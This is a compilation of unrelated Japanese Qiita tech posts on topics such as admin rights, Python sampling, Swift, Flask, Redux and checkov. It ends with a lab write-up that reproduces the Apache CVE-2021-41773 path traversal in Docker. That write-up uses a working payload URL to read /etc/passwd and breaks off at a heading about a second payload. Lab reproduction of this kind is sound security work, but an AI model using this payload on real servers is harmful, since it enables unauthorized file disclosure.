OmniAICreator/Qiita-1.07M huggingface dataset:
【初心者向け】管理者として実行する。

#はじめに
PCのセットアップをしたり、何か開発を行っていると何かと登場する「管理者として実行する」というワードがあります。IT初心者の私としては、なんとなくPCに影響を与える重要ななにかしらを実行できるものというフワっとしたイメージを持っていました。あまり腑に落ちていないで、今回詳しく調べてみようと思い記事にします。
※IT初学者の目線で書いている（私がそうなので）ので、何か間違っていることなどありましたら、コメントなどお願いします。

#管理者として実行って何でしょうか
ではさっそく「管理者として実行」とはなんでしょうか。いくつかの記事を参考に調べてみました。
まず「管理者として実行」とは、「管理者権限」の話です。具体的に「管理者権限」とはどういったものかと言うと、（以下引用https://e-words.jp/w/%E7%AE%A1%E7%90%86%E8%80%85%E6%A8%A9%E9%99%90.html）
>管理者権限とは、情報システムの登録利用者に与えられる操作権限のうち、システムの管理を行うためのもの。そのような権限を持つ利用者アカウントを管理者アカウントなどと呼ぶ。
システムに対する操作や設定の変更、ソフトウェアなどの導入や除去、データの読み書き、他の利用者への権限の付与や変更などを行うことができる強力な権限で、一般的にはコンピュータの所有者や情報システムの管理者に与えられる。

つまり管理者権限とは、システムに対する操作や設定の変更が可能な強力な権限であるということがわかります。タイトルにもなっている「管理者として実行」とは管理者権限を用いて何かしらを実行するということになりますね。

#管理者として実行する方法
では実際に「管理者として実行」を行う方法を説明します。
基本的に<b>右クリック</b>です。例えばVScodeで開発やセットアップを行う際、管理者として実行を使用するとします。以下のVScodeを開く画面で右クリックしてみてください。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2017201/f476560b-21c9-52f5-6fc8-5fd7b434401d.png)
すると「管理者として実行」が出てきました！
↓
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2017201/9547e0b9-b9cc-8fe3-45a5-ecc12010f407.png)

このような形で「管理者として実行」を使用します。


#OSによって表現が異なる
実はこの管理者権限、OSによって表現が異なります。
Windows系 : admin権限
UNIX系(Linuxなど) : root権限
と表現されることが多いそうです。

では権限別にどのような違いがあるのでしょうか。
日経XTECHの記事が分かりやすかったので、引用させていただきます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2017201/2e2e477b-cdf4-c8ff-84cd-10143c5c26e7.png)
上記の通り、権限別によってできることが異なります。例えば、ソフトのインストールの際に「権限がありません」といったエラーが出る場合は、操作を行うユーザがGuestユーザだったことによってエラーが出るということがあるわけですね。

#まとめ
今回、「管理者として実行」について記事を書きました。最初に抱いていたフワっとしたイメージが多少は具体的なものになったのではないでしょうか。一般ユーザではできなことができる強力な権限であるので、何かシステムの環境セットアップや操作を行う際にエラーが起きる場合、「管理者として実行」をためすことでエラーを解決するこ打ち手の一つになると思います。
#参考
https://wa3.i-3-i.info/word12910.html


https://xtech.nikkei.com/it/pc/article/NPC/20060608/240372/
インフラの基礎

#はじめに
現在プログラミング学習を始めて３ヶ月目の初学者です。
学んだことをqiitaに投稿という形でアウトプットするため、また備忘録として記事を作成しました。

##作成したサイトやサービスを、インターネット上に公開する方法
インターネットの公開には下記のの2つが必要

IPアドレス、ドメイン（インターネット上の住所）
Webサーバー（インターネット上に公開）

###・IPアドレス
「IPアドレス（Internet Protocol address）」は、インターネット接続中のコンピュータを識別する番号のことで、いわばインターネット上の住所

###・ドメイン
「ドメイン（domain）」は、IPアドレスを人間がわかりやすい名前に変換したもの

備考
ドメインはあくまでも人間がわかりやすい名前にしたものなので、コンピュータ同士の接続にはIPアドレスが必要、ドメイン名をIPアドレスに変換する仕組みを、「DNS（Domain Name System）」という

###・Webサーバ
ミドルウェアの一つ、Webサービスの通信を行う。
ユーザのWebブラウザから送られてくるリクエストに対し、HTMLや画像などWebページを構成するコンテンツを送信する。
【例】Apache、IIS、Nginxなど

##最後に
qiitaへの投稿に慣れていないので、分かりづらい上に情報が少ないですが、これから欠かさず投稿していこうと思います。
サンプリング定理

<h2>この記事で行うこと</h2>
サンプリング定理をpythonで実際に書いてみました。

<h2>サンプリング定理は</h2>
サンプリング定理は$ |\omega| \geq W $で$ F(\omega) = 0 $のとき（これを信号$ f(t) $は帯域幅$ W $に帯域制限されているという）サンプリング間隔$ \tau = \frac{\pi}{W}$のサンプル点$ {t_k} $でのサンプル値$ {f_k} $のみから$ f(t) $を再現できる。
$$ f(t) = \sum_{k = -\infty}^{\infty} f_ksinc \frac{t - t_k}{\tau} $$ 

<h2>実験</h2>
```
import numpy as np
import matplotlib.pyplot as plt
import cmath
```
ライブラリのインポート

```
x = np.arange(-10 * cmath.pi, 10 * cmath.pi, 0.05)
y1 = np.sin(x)
y2 = 2 * np.sin(2 * x + cmath.pi)
y3 = 2 * np.sin(2 * cmath.pi * x + cmath.pi)
y = y1 + y2 + y3 #合成波
```
今回は三つの簡単な波の合成を使用する

```math
y_1 = sin(x)\\
y_2 = 2sin(2x + \pi)\\
y_3 = 2sin(2\pi x + \pi)
```
この時の最大周波数$f_m = 1$である。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1127342/499df98a-23de-6da8-c44e-7faf49b8e5c5.png)

これが合成波グラフです。

```
t = 0.4 #サンプリング周期
n = len(x)
Y = []
for i in range(n):
  y_tmp = 0
  for j in range(n):
    y_tmp += y[j] * np.sinc((x[i] - x[j]) / t)
  Y.append(y_tmp)
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1127342/d748c4d9-9866-aac4-4642-e5b7cb934d38.png)




波が完全に復元できていることが分かります。

```
t = 5 #サンプリング周期
n = len(x)
Y = []
for i in range(n):
  y_tmp = 0
  for j in range(n):
    y_tmp += y[j] * np.sinc((x[i] - x[j]) / t)
  Y.append(y_tmp)
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1127342/c63392fb-36b9-9f16-c803-b4648564cc7a.png)

サンプリング周期は$ 0.5 $より小さくないと（0.5はダメ）復元することはできません。
npm install時に起きたエラーとその対処法の忘却録

##はじめに
dockerコンテナに入って

```
# npm install && npm run dev
```
こちらのコマンドを実行したがエラーが発生した。

まずこちらのコマンドの目的や実行内容についてよくわからなかったので
調べて解明を行うことにした

まず&&というのはnpm installが実行されたらnpm run devも実行するというつなぎの役割を果たしています。

つまり処理としては

```
# npm install
# npm run dev
```
と同じです。

##npm installについて
まずnpm とはNode Package Managerの略で、Node.jsのモジュールを管理するツールだそう。
そしてNode.jsで作成されているらしいです。

このコマンドはpackage.jsonの内容に従ってインストールを行います。
そうすることでpackage.jsonに格納されている情報をインストールすることができます。

とても便利ですね。

つまり、このコマンドを実行する際にエラーが起こったということは
package.jsonの内容のどこかに問題があると疑うことが大事だとわかりました。

今回もpackage.jsonのバージョンの違いに問題があったらしくエラーが発生しました。

そのバージョンを修正したら問題解決できました。


##結論

これからは実行するコマンドの目的、仕組みを理解してから
そのエラーの原因を解明することが大切だと学べました。
gitに登録しておきたいプログラムが出来たので登録メモ

以前
[Gitを使ってみるっ - Qiita ](https://qiita.com/moitaro/private/4032dbb8d1b09ecd6d7f)
で書いたアカウントに
登録しておきたいプログラムが出来たので
しばらくGit離れていたので思い出すためにメモ失礼いたします。

まず
https://github.com/moitaro?tab=repositories (私のアカウントじゃないです仮です)
で【New】でリポジトリ名は”jidouka01”でPrivateでAdd a README fileつけて
”CreateNewリポジトリ”　で出来た……

で登録ってどうやるんだったっけ？？？
【Swift5】キーボードを閉じる方法

<!-- textlint-disable -->
# はじめに
この記事は、アプリを作っている際に幾度も「なんだっけ？」を解決するために作成した記事です。記事というか公開ノートのようなものです。

# 前提
class に `UITextFieldDelegate` を追加します。

```swift
import UIKit

class ViewController: UIViewController, UITextFieldDele{

    @IBOutlet weak var TextField: UITextField!

    override func viewDidLoad() {
        super.viewDidLoad()
        
        TextField.delegate = self
    }

```

`TextField` は任意の textField です。

# タッチでキーボードを閉じる
キーボード以外の場所をタップするとキーボードが閉じます。

```swift
    override func touchesBegan(_ touches: Set<UITouch>, with event: UIEvent?) {
        
        view.endEditing(true) //編集を終了するかを聞く=>true
    }

```

# リターンキーでキーボードを閉じる
キーボードの Return をタップするとキーボードが閉じます。

```swift
    func textFieldShouldReturn(_ textField: UITextField) -> Bool {
        
        textField.resignFirstResponder() //キーボードを閉じる
        
        return true
    }

```


#最後に
別の方法があったら追記していきたいと思います。
<!-- textlint-enable -->
関数の戻り値に複数の意味を持たせてはいけない

# 初心者向けアンチパターン紹介記事です（短め）
サンプルコードはC++で書きますが単純なものです。

#戻り値に複数の意味があるとどうなる
##まずいパターン
例えばこんな関数:

```c++:sample.cpp
bool getStr(int id, std::string& out)
{
	
	// id に紐づく文字列を取得する処理
	// 取得に失敗したら return false; する

	return true;
}

bool compareStr(const std::string &str, int id)
{
	std::string compareTarget;
	auto ret = getStr(id, compareTarget);
	if (ret == false) {
		return false;
	}

	return 0 == str.compare(compareTarget);
} 

```

この関数の問題点は、`getStr()`が何かしら失敗した場合も文字列比較の結果として一致しなかった場合も`compareStr()`の戻り値が false になる点です。

冷静に考えてやばい関数設計ですが、`compareStr()`の呼び出し元が「文字列が一致したときだけ以降の処理をする」とかだった場合、問題なく仕様を満たしてしまいます。
後々になって、以下のように一致しなかったルートを追加してしまったら問題が起こることもあり得ます:

```c++:sample2.cpp
int func() 
{
	int id;
	std:string str;

	if (compareStr(str, id) == true) {
		// 文字列が一致したときの処理
	}
	else {
		// 文字列が一致しなかったときの処理
	}

	return 0;
}
```

else のルートでは文字列が一致しなかったときの処理を行っていますが`compareStr()`から false が返されるのは文字列が一致しなかったときだけでなく`getStr()`が失敗したときも、です。
まずいパターンとして`getStr()`の中の処理が何かの理由で失敗したけど、それが成功していれば本当は文字列は一致していた、というパターンが考えられます。期待していないタイミングで「文字列が一致しなかったときの処理」が走ることになります。

##どうすべきか
少しでも複雑さを持った関数の戻り値に bool 値を使わないようにするべきです。
int を返すようにして、数字毎に一つの意味だけを割り当てるのが良いと思います。

```c++:sample3.cpp
int compareStr(const std::string &str, int id)
{
	std::string compareTarget;
	auto ret = getStr(id, compareTarget);
	if (ret == false) {
		return -1;
	}

	if (0 == str.compare(compareTarget)) {
                return 1;
        }
        else {
                return 0;
        }
} 

```

##bool戻り値を使っていい場面は多くない
そもそも、bool を戻り値に使っていい場面はそうそうないと考えるべきです。
クラスが保持してるフラグを返すだけだったり、本当にシンプルな文字列一致を確認するだけだったり、
そういう場面でしか bool の戻り値は使わないようにするといいと思います。

```c++:sample4.cpp
bool someClass::getFlag() { return flag; }

```
Python seleniumで Message: session not created: This version of ChromeDriver only supports Chrome version XXと表示された場合


以下の文章が出た場合はお使いのGoogle ChromeのバージョンとChromeDriverのバージョンに差異があるためです。


```
Message: session not created: This version of ChromeDriver only supports Chrome version XXX
```

対処方法は以下の二つです。
 - `chromeについて`でお使いのGoogle Chromeのバージョンを確認しましょう
 - 以下のサイトで`chromedriver-binary`のバージョンを変更しましょう
https://pypi.org/project/chromedriver-binary/#history
Flask2.0でAPIに非同期通信する。

今回は、Webcomicを提供しているAPIからコミック画像を取得してブラウザに表示するプログラムを通して、flask2.0での非同期処理の使い方を紹介していきます。

```python:app.py
# pip install httpx
# pip install flask
# pip install flask[async]

from flask import Flask
import httpx
import asyncio
from random import randint

app = Flask(__name__)

async def get_image(client):
  """ 非同期で行いたい処理 """
  random = randint(0, 300)
  # APIに通信
  result = await client.get(f'http://xkcd.com/{random}/info.0.json')
  # 画像のURLのみ返す
  return result.json()['img']

@app.get('/async_api')
async def async_api():
  # httpxで非同期通信
  async with httpx.AsyncClient() as client:
    # 非同期の対象処理をリストにまとめる
    tasks = [get_image(client) for _ in range(5)]
    # 非同期処理の結果を受け取る
    urls = await asyncio.gather(*tasks)
  
  html = ""
  for url in urls:
    html += f"<img src='{url}'><br><br>"
  return html
```

app.pyのあるディレクトリに移動して`flask run`を実行し、http://127.0.0.1:5000/async_api にアクセスすると、APIで取得したコミック画像が表示されます。ただ、これだけだと同期通信との違いは分からないので、比較するために同期通信のプログラムもapp.pyに追加します。

```python:app.py
....

@app.get('/sync')
def sync():
  urls = []
  for _ in range(5):
    random = randint(0, 300)
    response = httpx.get(f'http://xkcd.com/{random}/info.0.json')
    urls.append(response.json()['img'])
  html = ""
  for url in urls:
    html += f"<img src='{url}'><br><br>"
  return html
```
同様に`flask run`を再実行し、http://127.0.0.1:5000/async_api とhttp://127.0.0.1:5000/sync で画像の表示速度を比べてみてください。定量的に比較したい方は処理にかかる時間を表示できるようにしてみるとよいかもしれません。

今回紹介した非同期処理ですが、CPUに待ち時間が発生するI/O処理では速度が上がりますが、CPUに依存する処理を対象にしても処理速度は速くならないと思うので注意してください。
コマンドプロンプトにおけるC言語プログラムの作成2

（前半の続き）
Borlandというコンパイラソフトをネットからダウンロードする。
ソースファイルと同じフォルダにインストールする。
コマンドプロンプトで（ソースファイルの階層に移動していなければcdコマンドで移動しておく）
bcc32 〇〇〇.cと入力してEnterを押すと〇〇〇.exeというファイルが同じ場所に作成される。これをクリックしてちゃんとソースコード通りにコマンドプロンプト上で実行されるか確かめる。
以上
React + Reduxを基本からまとめてみた【5】【Storeとの接続】

##Fluxフロー図
![flux_flow.png]
(https://camo.qiitausercontent.com/cdd0824a85a48f51dacc8ec20fa5cf5ce6ec8093/68747470733a2f2f71696974612d696d6167652d73746f72652e73332e61702d6e6f727468656173742d312e616d617a6f6e6177732e636f6d2f302f3434303539332f33313139643830622d383163642d633664382d636233312d6132383837386261313738312e706e67)

##Storeとは

Storeはstateを保存する

1. StoreとReducersを関連づける
2. Redux(Store)とReactを接続する
3. Storeの状態を変更する

##Store | モジュールのimport

1. reduxモジュールのimport
2. Reducersのimport

```store.js
//src/deducks/store/store.js
// 1.reduxモジュールのimport
import {
    createStore as reduxCreateStore,
    combineReducers
} from 'redux';

// 2.Reducersのimport
import { ProductsReducer } from '../products/reducers';
import { UsersReducer } from "../users/reducers";

```

##Store | createStore関数の定義
1.reduxのcreateStoreメソッドをreturn
2.combineReducersでstateを生成

```store.js
//src/deducks/store/store.js
export default function createStore() {
    // 1.reduxのcreateStoreメソッドをreturn
    return reduxCreateStore(
        // 2.combineReducersでstateを生成
        combineReducers({
            products: ProductsReducer,
            users: UsersReducer
        })
    );
}
```

##combineReducersとは

1.分割したReducersをまとめる
2.stateのカテゴリ毎
3.オブジェクトをreturnする(stateのデータ構造)

```sample.js
combineReducers({
  products: ProductsReducer,
  users: UsersReducer
})
//     ⬇︎
{
  products: {
    // productsのstate
  },
  users: {
    isSignedIn: false,
    uid: "",
    username: ""
  }
}
```

##StoreとReactアプリの接続

```src/index.js
import React from 'react';
import ReactDOM from 'react-dom';
import { Provider } from 'react-redux';
import createStore from "./reducks/store/store";
import './index.css';
import App from './App';
import * as serviceWorker from './serviceWorker';

export const store = createStore();

ReactDOM.render(
  <Provider store={store}>
    <App />
  </Provider>,
  document.getElementById('root')
);
serviceWorker.unregister();
```

##react-reduxのProviderとは

1. propsにstoreを渡す

##### ⇨ ラップしたコンポーネントにstoreの情報を渡す

2. Reactコンポーネント内でreact-reduxのconnect関数を使えるようにする

#####⇨ reactとReduxを接続してstareを変更できるように


##参考サイト
[日本一わかりやすいReact-Redux入門#6...Redux(Store)とReactを接続してstateを変更しよう]
(https://www.youtube.com/watch?v=t_-Tpc913B4)
[React- Redux 入門]
(https://qiita.com/shtwangy/items/4f9993ade64c3c6858d3)
Gtk3アプリ ヘッダーにGtk.HeaderMenuを追加する

###ヘッダーにGtk.HeaderMenuを追加する
<img width="400" alt="Screenshot from 2021-10-06 14-15-18.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/182324/c8654d9f-6cd4-3369-98dc-2caae984416e.png">
####設置手順
#####Gtk.WindowのClient Side Window Decorationsをクリックする
Windowが分割されスペースができます
<img width="600" alt="Screenshot from 2021-10-06 13-48-07.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/182324/6e4b43fc-9b61-2f3f-0f93-83df63da5a42.png">
#####GtkHeaderBarをスペースへ入れる
スペースにHeaderBarを入れます
<img width="500" alt="Screenshot from 2021-10-06 13-48-29.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/182324/553cf6f6-12aa-f7b0-709a-468cb9f1ec40.png">
右上の閉じるボタン等が使用できるようにする
Show Window Controlesをクリックします・
<img width="500" alt="Screenshot from 2021-10-06 14-06-24.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/182324/b6335de3-6d35-bfc1-25ff-3b513bc70d4d.png">

閉じるボタン等が表示されます
<img width="500" alt="Screenshot from 2021-10-06 13-49-18.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/182324/e0606b83-159a-4ecd-c50b-fefd2600e64d.png">
タイトルを入力する
<img width="500" alt="Screenshot from 2021-10-06 13-50-15.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/182324/f75586a4-1e3a-f7c8-80fe-6cb6f129c0c6.png">
#####ヘッダーのボタンの登録数を変更する
<img width="500" alt="Screenshot from 2021-10-06 13-50-36.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/182324/d1b264d6-1650-0ce9-edca-223a939cce23.png">
#####ボタンとボタンの間隔の調整する
<img width="500" alt="Screenshot from 2021-10-06 14-19-59.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/182324/4e849658-a9ea-8743-2fdd-f8a50630a6bb.png">
#####CustomTitleをクリックする
ヘッダーバーにあるタイトルをカスタマイずできます。ボタンなどに置き換えることが可能です。
<img width="500" alt="Screenshot from 2021-10-06 13-51-19.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/182324/08d1a10f-213e-c038-998d-50a639b9d7ba.png">

Gtk.Lableで間隔を調整する
<img width="500" alt="Screenshot from 2021-10-06 13-53-12.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/182324/e304156f-8983-0bfd-4e3f-9b62caf8055d.png">
<img width="500" alt="Screenshot from 2021-10-06 13-53-02.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/182324/374a1bce-5bec-c3cf-d3fb-202a96cacf9f.png">

<img width="500" alt="Screenshot from 2021-10-06 14-12-52.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/182324/e21e6d2e-14af-4b26-fad4-3bd16b5f6aa7.png">

[Gtk3アプリ パーシャルクラス自動生成ツール](https://qiita.com/iota_11/items/28248108927cae4f1b46)へ続く
VSCodeで３秒でSQL整形する

ログで書き出したSQLをサクッと整形したい、みたいなときに、VSCodeを使う方法です。

## 1. 拡張機能をインストール

VSCodeの拡張の『[SQL Beautify](https://marketplace.visualstudio.com/items?itemName=clarkyu.vscode-sql-beautify)』をインストールします。

## 2. 適当なファイルにSQLを貼り付けます

## 3. Alt + Shift + F を押します

![sql_beautify.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/227791/924821ac-4591-b111-ef92-6d8a04e63846.gif)

簡単！！
ベクターグラフィックスドローイングツールを開発しました

ベクターグラフィックスドローイングツールを開発しました。皆様に使っていただきたくて、こうして宣伝記事を書いています。よろしくどうぞ！！！

# ベクターグラフィックスドローイングツールとは？

超簡単に言うと、Adobe Illustratorのようなアプリです。色情報とベクトルで表現したいものを描画するのがベクターグラフィックスと言えるでしょう、たぶん。

Adobe Photoshop等のラスターグラフィックスドローイングツールは格子状の構造を持っていますが、ベクターグラフィックスはそのような構造に囚われることなく自由に描画できます。

# 開発の背景

任意の画像に文字と簡単な図形を重ねて、自由に色を決めて出力したいと思っていたが、ペイントでは図形描画が難しいし、Adobe Illustratorは高いし。

と思ったのでいっそ開発してしまおうと思ったのでした。

ちょうど[MVVMDiagramDesigner](https://github.com/sachabarber/MVVMDiagramDesigner)が基礎として使えそうだったので、これをベースに改良していきました。

プロジェクトの名はboiler's Graphicsといいます。

![2021-09-26.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4734/04e9ff4e-5146-5037-70ed-0b2707a34427.png)

# どんなことができるの？

バージョンv4.3.2現在、13のツールがあります。
使い方をここに書いちゃうと際限なくなるので、別途ページを用意しました。

[HowToUse](https://github.com/dhq-boiler/boiler-s-Graphics/blob/develop/HowToUse.md)

一つだけ例をあげてみましょう。下記のGifアニメはベジエ曲線の描画の様子です。

![draw_bezier](https://user-images.githubusercontent.com/7916855/128829931-262a1055-1943-4f3c-a466-39101664dcd2.gif)

# お金がかかりますか？

今のところ、お金を取れる品質に達していないと思っているので、タダで使ってもらって構わないです。本プロジェクトはMITライセンスで公開しています。将来の話になりますが、アプリ内課金の仕組みを実装してお金を徴収するかもしれませんが、計画が変更される可能性もあるのでなんとも言えないです。

# どこからダウンロードできるの？

[GitHub Release](https://github.com/dhq-boiler/boiler-s-Graphics/releases)からzipファイルのダウンロードができます。それを展開して好きなところに配置すればインストール完了です！

# バグ報告はどうやればいい？

[Issues](https://github.com/dhq-boiler/boiler-s-Graphics/issues)から好きなように投稿していただければと思います。日本語OK、easy English OKです。

# その他

＊仕事募集中＊

私は群馬県に住んでいますが、ITの仕事がありません。仕方なくパート職に身を置いています。でも任期があり、この職を2022年3月に離れることになっています。そこで、群馬県在住でも働ける完全リモートのC#+WPFの仕事を探しています。心当たりのある方はTwitter @dhq_boiler までご連絡いただけるとたすかります。

皆様の創作活動がさらにはかどることを願って。
2021/10/6
Google Cloud でOrganization IDの確認方法

## これはなんだろう

たまに確認方法どうやるんだっけ？となるので、書いておきます。

## やってみた

これだけです。

```
gcloud organizations list
```

## 総括

これだけ簡潔な記事は久しぶりですが、たまにはこういうのもいいですね。と思いました。

## 参考

```
https://cloud.google.com/resource-manager/docs/creating-managing-organization
```

参考にさせていただきました。ありがとうございます。
checkovでインフラの静的スキャンを実行

Githubのリポジトリに乗っていたcheckovについて導入、調べてみた

https://github.com/antonbabenko/pre-commit-terraform/blob/master/README.md


## checkovとは？


静的コード解析ツール
セキュリティまたはコンプライアンスの問題につながる可能性のある構成コードを自動で発見してくれる
設定ミスをチェックするための750を超えるポリシーがある

## サポートされているサービス

- Terraform (for AWS, GCP and Azure)
- CloudFormation
- Azure Resource Manager (ARM)
- Kubernetes
- Docker


## 導入(Macの場合)

```bash
$ brew install checkov
$ terraform init
$ terraform plan --out tfplan.binary
$ terraform show -json tfplan.binary > tfplan.json
$ checkov -f tfplan.json
```

## 実際に使ってみた

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/313771/9d2c31a6-1f5b-543f-b1c6-a8405e6b5270.png)


### 指摘箇所

- メタデータサービスボリューム1が適用されている→2に変更する
- EC2インスタンスの詳細なモニタリングが無効になっています→有効にする
- EC2がEBSに最適化されていることを確認してください→有効化する
- Launch構成のEBSに保存されているすべてのデータが確実に暗号化されていること→有効化


### メリット

- 知らないオプションを知ることができた

### デメリット

- 解析内容を実際に修正すべきか判断できる知識がないと使いこなすのは難しい

### まとめ

- 指摘箇所へのリンクも表示してくれるので親切 
- 自分のレベルでは指摘されていることが実際に`どれくらいのリスク`があるかがわからないためある程度知識がないと使いこなすのは難しい。
- 「ログに書いてあったから」という理由で脳死で変更することは危険

参考資料
---

- [EC2インスタンスメタデータサービスの機能強化により、オープンファイアウォール、リバースプロキシ、SSRFの脆弱性に対する防御を強化します。
](https://aws.amazon.com/jp/blogs/security/defense-in-depth-open-firewalls-reverse-proxies-ssrf-vulnerabilities-ec2-instance-metadata-service/)

- [InstanceMetaDataV2を分かりやすく解説してみる
](https://blog.serverworks.co.jp/tech/2019/11/27/imdsv2/)

- [Amazon EBS 最適化インスタンスを使用する](https://docs.aws.amazon.com/ja_jp/AWSEC2/latest/UserGuide/ebs-optimized.html)

- [インスタンス選びで知っておきたい「EBS最適化」ってなに？](https://www.bit-drive.ne.jp/managed-cloud/column/column_22.html#:~:text=%E3%81%93%E3%81%AEEC2%E3%82%A4%E3%83%B3%E3%82%B9%E3%82%BF%E3%83%B3%E3%82%B9%E3%81%A8EBS,%E3%81%A6%E3%81%84%E3%82%8B%E3%82%82%E3%81%AE%E3%82%82%E3%81%82%E3%82%8A%E3%81%BE%E3%81%99%E3%80%82)
[Spring Boot] xxx-plain.jarを生成しないようにする方法


# 原因
Spring Boot2.5からGradleプロジェクトをビルドしたときに、xxx.jarの他にxxx-plain.jar が生成されるようになりました。xxx-plain.jarは不要なので、生成される。

# 解決方法
```build.gradle
jar {
    enabled = false
}
```
OR

```build.gradle
jar {
    enabled = true
    archiveClassifier = ''
}
```
LiDAR搭載済みApple製品リスト

ちらっと調べた感じまとまってなかったのでまとめた。（2021年10月6日時点）

# iPhone

- iPhone 12 Pro
- iPhone 12 Pro Max
- iPhone 13 Pro
- iPhone 13 Pro Max

# iPad

- iPad Pro 12.9 インチ (第4世代)
- iPad Pro 12.9 インチ (第5世代)
- iPad Pro 11 インチ (第2世代)
- iPad Pro 11 インチ (第3世代)

# さいごに
自分の課題の都合で知りたかったけどまとまってるページがなかったので作りました。
自分は特にAppleの新製品注視してるわけじゃないので今後更新とかあったらコメントか編集リクエストくれると嬉しいです！

おわり
pre-commitのcfn-lintで特定のエラーを無視する方法

argsで指定する。cfn-lintのオプションは[こちら](https://github.com/aws-cloudformation/cfn-lint#parameters)。

```yaml:.pre-commit-config.yaml
repos:
-   repo: https://github.com/awslabs/cfn-python-lint
    rev: v0.54.2
    hooks:
      -   id: cfn-python-lint
          files: \.(json|yml|yaml)$
          args: [--ignore-checks=E3030]
```
ソフトウェア開発工程メモ

= インフラ設計

要件定義のシステム構成に従い、
アプリが稼働するための
OS、データベース、Webサーバのインストール、設定、アカウントなどを作成する。

開発、テスト、プロダクションなどの環境などの設計を行う。


https://blog.server-tech.xyz/2020/04/25/infra-design-01/


= インフラ構築

設計に従い、構築作業を行う。

= 受入テスト

== 目的
- 業務シナリオに沿ったテスト
== 作業
- テストシナリオの作成
- テスト仕様書作成
- テストデータ作成
- テスト計画作成(体制、環境、実施、記録などの方針や方法)
- テスト実施
- 改修



= 操作トレーニング

> 目的
ユーザーがアプリを使った業務を実行できるように、ベンダー指導の元練習する。


> 作業



====== データ移行

> 目的
現行システムのデータを新規システムのデータ用に変換し、新規システムに投入する。

> 作業

- 現行システムのデータ調査
- 新規と現行のデータ対応確認
- 移行ツールの設計、製造、テスト

> 補足

データ移行ツールは、リリース時以外にもシステムテスト、受入テスト時に利用する。


====== リリース

> 目的
本番稼働をさせる準備作業

> 作業
- リリース計画作成
- リリース手順書作成
- 事前告知
- 本版データ移行
- 本番環境の確認
- 初期設定データの設定
- 疎通確認
Heroku Connect: TOO_MANY_ROWS が出た時の対処法

試用や開発時に、Heroku Connect の DEMOバージョンを利用している際、うっかりと同期件数 10,000件を超えてしまうケースがあります。その症状を解消するための方法です。

[Connection States Reference](https://devcenter.heroku.com/articles/connection-states-reference#connection-states)

10,000件をこえた後、`Heroku Connect` のダッシュボード画面で燦然ときらめく `TOO_MANY_ROWS` という表示に恐れおののき、戸惑うことでしょう。

このとき、焦らずにまずは Salesforce 側で、不要なデータを削除しましょう(同期の方向性から Salesforce を個人的にオススメします)。ただ、これだけじゃダメです。ダメなんです。

削除した後、おもむろに`Heroku Connect` のダッシュボードへ行きます。`Mappings`タブの中から、削除を行ったオブジェクトの右端にあるメニューを選択して `Reload` を実行します。

![Screen Shot 2021-10-06 at 11.06.29.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/37263/9f335f1a-545c-f41b-2da0-21fed46c033a.png)

あとは、`Heroku Connect`が自動的にSalesforce側のデータを再取得して、データ件数が減っていれば自動的に同期が再開されます。

`Heroku Connect`では、何かエラーが起きた時に 'Reload'してあげることで回復するケースがありますので、困ったら'Reload'してみてください。
nodenvコマンドまとめ

# インストール可能なバージョンの一覧

```
$ nodenv install -l
```

# バージョンのインストール

```
$ nodenv install 16.3.0
```

# インストール済みバージョンの一覧

```
$ nodenv versions
```




# バージョン切り替え

```
# ローカル（カレントディレクトリ配下）で利用するNode.jsのバージョンを設定する
$ nodenv local 15.14.0

# グローバル（システム全体）で利用するNode.jsのバージョンを設定する
$ nodenv global 16.3.0
```

# バージョン確認

```
node -v
```
CVE-2021-41773とCVE-2021-42013をDockerで確認する


# httpd.confをローカルにコピー

`$ docker pull httpd:2.4.49`

`$ docker run -v $(pwd):/tmp --name cve -it --entrypoint sh httpd:2.4.49`

`# cp conf/httpd.conf /tmp/`

# httpd.conf ファイルの編集

```
<Directory />
    AllowOverride none
    Require all denied
</Directory>
```
を

```
<Directory />
    AllowOverride none
    Require all granted
</Directory>
```
に修正

# Dockerfileを作る

```
FROM httpd:2.4.49
COPY ./httpd.conf /usr/local/apache2/conf/httpd.conf
```

# ビルドと起動 （ポート18882で待ち受けてるけどどこでもいい）

`$ docker build -t apache-vuln .`

`$ docker run -dit --name cve-2021-41773 -p 18882:80 apache-vuln`

# burpで実行

`http://localhost:18882/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd`

![スクリーンショット 2021-10-06 13.08.27.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/547510/ba7c883b-ff74-2ad1-474d-0679f5b286bc.png)

# バージョンアップされた2.4.50 で試す

- Dockerfileを更新
- httpd.confは流用

```
FROM httpd:2.4.50
COPY ./httpd.conf /usr/local/apache2/conf/httpd.conf
```

# ビルドと起動 （ポート18883で待ち受けてるけどどこでもいい）

`$ docker build -t apache-2450 .`

`$ docker run -dit --name CVE-2021-42013 -p 18883:80 apache-2450`

# burpで実行

修正されてる

![スクリーンショット 2021-10-08 12.09.14.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/547510/3b05a085-ec89-a82f-794b-47a551a5e191.png)

# 別のペイロードを送る (CVE-2021-41773)

